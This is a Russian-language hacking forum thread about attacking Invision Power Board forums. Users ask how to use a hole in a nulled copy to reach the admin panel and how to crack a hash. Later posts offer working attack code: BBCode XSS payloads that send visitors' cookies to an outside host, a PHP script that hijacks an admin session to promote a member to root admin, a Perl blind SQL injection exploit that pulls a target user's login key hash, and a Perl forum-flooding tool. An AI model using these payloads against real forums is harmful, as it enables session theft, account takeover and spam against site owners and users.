• XSS.stack #1 – первый литературный журнал от юзеров форума

Уязвимости: Invision Power Board (IPB)

М..насчёт старых уязвимостей.
Слышал, да и видел...в нулле от давидова по моему существует дыра.
Которая позволяет войти в админку...или id свой изменить...точно не помню...но точно через скрипт admin/index.php взлом был...
:) Не подскажите как ее заюзать или ткните носом.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Слышал, да и видел...в нулле от давидова по моему существует дыра.
А про нуллы уже миллион раз обсуждалось, повторю на бис: "Бесплатный сыр только в мышеловке" ;)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не подскажите как ее заюзать или ткните носом.
Про баг не знаю, но если это нулл, то логически надо искать об этом нулле на нуллед.вс
 
:baby: Собственно еще вопрос....

Имеется 2 хеша...в ipb один отвечает за проверку форума на лицензию..второй на версию....
d66ab5043c553f1f1fd5fad3ece252e3 - вот хеш на версию...комп уж наверно неделю мучаю...полным перебором...покаместь и рядом не прошол...
Вопрос у кого нить есть расшифровка данного хеша?
 
XSS:
Код:
[ema*il]wj@wj[u*rl=http://www.wj.com`=`][/url].com[/email] ` style=`background:url(javascript:document.images[1].src="http://strona.com/cgi-bin/s.jpg?"+document.cookie);`

Код:
[HT*ML][EMA*IL][UR*L=wj`=`][/U*RL][/EM*AIL][/co*lor][color=wh*ite]` style=`backg*round:url(javascript:docu*ment.images [1].src="http://strona.com/cgi-bin/s.jpg?"+document.cookie)`[/c*olor]

Код:
[EMA*IL]mail@mail.com[U*RL=target/*style=background:url(javasc*ript:document.images[1].src="http://strona.com/cgi-bin/s.jpg?"+document.cookie); ][/U*RL][/EM*AIL]

Код:
[po*st=1000[to*pic=target style=background:url(javascript:document.images[1].src="http://strona.com/cgi-bin/s.jpg?"+document.cookie); ][/to*pic]][/po*st]

Код:
[em*ail]wj@wj.com[/email] ` style=`background:url(javascript:document.images[1].src="http://strona.com/cgi-bin/s.jpg?"+document.cookie);`

Код:
[COLOR=[I?G]http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.images[1].src="http://strona.com/cgi-bin/s.jpg?"+document.cookie)

Код:
 [?m*ail]wj@wj.com[/em*ail] ` style=`background:url(javascript:document.images[1].src="http://strona.com/cgi-bin/s.jpg?"+document.cookie);`

Код:
[EM*AIL][U*RL=wj`=`][/UR*L][/EM*AIL]]` style=`background:url(javascript:document.images[1].src="http://strona.com/cgi-bin/s.jpg?"+document.cookie)`

Код:
[HT*ML][co*lor=white][EM*AIL][U*RL=wj`=`][/url][/EMA*IL][/color]` style=`background:url(javascript:document.images[1].src="http://strona.com/cgi-bin/s.jpg?"+document.cookie)`

Example malicious image script:

Код:
//The member id to promote to root admin
$mid = 145;

//The database prefix (usually "ibf_")
$prefix = "ibf_";

if (preg_match('/(.*adsess=[\\w]{32})/',
$_SERVER['HTTP_REFERER'], $admin_loc) and $mid)
{
header("Location:
".$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+{$prefix}members+SET+mgroup%3D4+where +id%3D{$mid}+LIMIT+1");
}

?>

Invision Power Board <= 2.1.5 (from_contact) SQL Injection

Код:
#!/usr/bin/perl

use HTTP::cookies;
use LWP 5.64;
use HTTP::Request;

my $login_page = '?act=Login&CODE=01';
my $pm_page = '?act=Msg&CODE=04';
my $pose_pm_page = '?';
my $tries = 5;
my $sql = '';
my $hash = '';
my $need_null = 0;
my $i;
my $j;
my @charset = ('0' .. '9', 'a' .. 'f');
my %form = (act=> 'Msg',
CODE=> '04',
MODE=> '01',
OID=> '',
removeattachid=> '',
msg_title=> 'asdf',
bbmode=> 'normal',
ffont=> 0,
fsize=> 0,
fcolor=> 0,
LIST=> ' LIST ',
helpbox=> 'Insert Monotype Text (alt + p)',
tagcount=> 0,
Post=> 'jkl');


my $ua = LWP::UserAgent->new;
my $cj = HTTP::cookies->new (file => "N/A", autosave => 0);
my $resp;

$ua->cookie_jar ($cj);

push @{ $ua->requests_redirectable }, "POST";

print 'IPB Forum URL ? ';
chomp (my $base_url = );
print 'Your username ? ';
chomp (my $user = );
$form{entered_name} = $user;
print 'Your pass ? ';
my $stty = -x '/bin/stty';
system 'stty -echo' if $stty;# to turn off echoing
chomp (my $pass = );
system 'stty echo' if $stty;# to turn it back on
print "\n" if $stty;
print 'Target userid ? ';# it'll say next to one of their posts
chomp (my $tid = );

if ($base_url !~ m#^http://#) { $base_url = 'http://' . $base_url }
if ($base_url !~ m#/$|index\.php$#) { $base_url .= '/' }

do {
$resp = $ua->post ($base_url . $login_page,
[ UserName => $user,
PassWord => $pass,
cookieDate => 1,
]);
} while ($tries-- && !$resp->is_success());

$tries = 5;

if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" }

if ($resp->content =~ /sorry, the password was wrong/i) {
die "Error: password incorrect.\n";
}

do {
$resp = $ua->get ($base_url . $pm_page);
} while ($tries-- && !$resp->is_success());

$tries = 5;

if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" }
if ($resp->content =~ m##)
{
$form{post_key} =;
} else {
die "Error: couldn't get a post key.\n";
}
if ($resp->content =~ m##)
{
$form{auth_key} =;
}

$| = 1;

print "\nAttempting to extract password hash from database...\n ";

OFFSET:
for ($i = 0; $i < 32; ++$i) {
CHAR:
for ($j = 0; $j < @charset; ++$j) {
$tries = 5;
print "\x08", $charset[$j];
$sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR('
. (join (',', map {ord} split ('', $user))) . ') FROM '
. 'ibf_members WHERE id = ' . $tid . ' AND MID('
. 'member_login_key, ' . ($i + 1) . ', 1) = CHAR('
. ord ($charset[$j]) . ')';
$form{from_contact} = $sql;
$resp = $ua->post ($base_url . $post_pm_page, \%form,
referer => $base_url . $pm_page);
if (!$resp->is_success()) {
die "\nError: " . $resp->status_line
. "\n" if (!$tries);
--$tries;
redo;
}
if ($resp->content =~ /sql error/i) {
if ($need_null) {
die "Error: SQL error.\n";
} else {
$need_null = 1;
redo OFFSET;
}
} elsif ($resp->content !~ /there is no such member/i) {
print ' ';
next OFFSET;
}
}
die "\nError: couldn't get a char for offset $i\n";
}
print "\x08 \x08\nHit enter to quit.\n";
;


ФЛУДЕР 2.03
Код:
#----------------------------
#   this programe has been  #
#   created by Z3vil        #
#   [ 'HellSoft' ] for      #
#   Flooding IPB Forums     #
#   19/03/2008  2:39:00AM   #
#   Adrabi[at]Gmail[dot]com #
#----------------------------

#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use URI::Escape;

#Variables
my  $url        =   undef;
my  $login      =   "act=Login&CODE=01";
my  $UserName   =   undef;
my  $PassWord   =   undef;
my  $CookieDate =   1;
my  $SID        =   undef;
my  $SE         =   undef;
my  $MSG        =   undef;

#Prototype
sub IPBFlood($);

#Main
print "\t\tWelcome to IPBFlood 0.1x By Z3vil\n\t\t[ 'HellSoft' ]Team\n\n";

print "Url\t: ";chomp($url=<STDIN>);
print "UserName\t: ";chomp($UserName=<STDIN>);
print "Password\t: ";chomp($PassWord=<STDIN>);
print "Start [to] End\t: ";chomp($SE=<STDIN>);
print "Message\t: ";chomp($MSG=<STDIN>);

my  $ua     =   LWP::UserAgent->new;
$ua->agent("Mozilla/4.0");
my  $cj     =   HTTP::Cookies->new(file => "N/A" , autosave => 0);
$ua->cookie_jar($cj);

#-get SID
my  $r      =   $ua->get($url);
if($r->is_success){
    #Find SID ?
    ($SID) = $r->content =~/\?s=(\w{32})&.*/i;
    print "SID : $SID\n";
}

#-Connecting ...
$r          =   $ua->post($url.$login,[UserName=> $UserName ,PassWord => $PassWord ,CookieDate =>$CookieDate , s => $SID]);
if($r->is_success){
    print "[+] Connected\n\n" if($r->content =~ /cliquez ici si vous ne souhaitez pas/gi);
    my($Start , $End) = split(/-/,$SE);
    foreach($Start..$End){
        IPBFlood($_);
    }
}

sub IPBFlood($){
    my $Topic   =   shift;
    my $get     =   $ua->get($url."s=$SID&showtopic=$Topic");
    if($get->is_success){
        #Get Subforum ID "f" : variable !
        if( my ($f) = $get->content =~/f=(\d{1,4})/ ){
            print "[-]Subforum ID : $f & Topic N : $Topic\n";
            #Get Post AuthKey for Subforum f=N°
            $get    =   $ua->get($url."s=$SID&act=post&do=reply_post&f=$f&t=$Topic");
            #                          act=post&do=reply_post&f=56&t=43988
            if($get->is_success){
                ##auth_key Ex : <input type='hidden' name='auth_key' value='ad21a6bcbe870e7ef76a2d77251a304e' />
                my ( $auth_key ) = $get->content =~/auth_key.*(\w{32})/i;
                #attach_post_key Ex : <input type='hidden' name='attach_post_key' value='cb044c3477c703695e699fc91f98e27c' />
                my ( $attach_post_key ) = $get->content =~/attach_post_key.*(\w{32})/i;
                print "[-]auth_key : $auth_key\n[-]attach_post_key : $attach_post_key\n";
                
                
                my %form =(st                 =>  0,
                           act                =>  "Post",
                           s                  =>  "$SID",
                           f                  =>  "$f",
                           auth_key           =>  "$auth_key",
                           removeattachid     =>  "0",
                           CODE               =>  "03",
                           t                  =>  "$Topic",
                           attach_post_key    =>  "$attach_post_key",
                           parent_id          =>  "0",
                           "ed-0_wysiwyg_used"=>  "0",
                           "editor_ids%5B%5D" =>  "ed-0",
                           Post               =>  "$MSG",
                           enableemo          =>  "yes",
                           enablesig          =>  "yes",
                           iconid             =>  "0"
                           );
                $r      =   $ua->post($url."s=$SID",\%form);
                if($r->is_success){
                    print "Send success !\n" if( length($r->content)< 300);
                }
            }
        }
    }
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх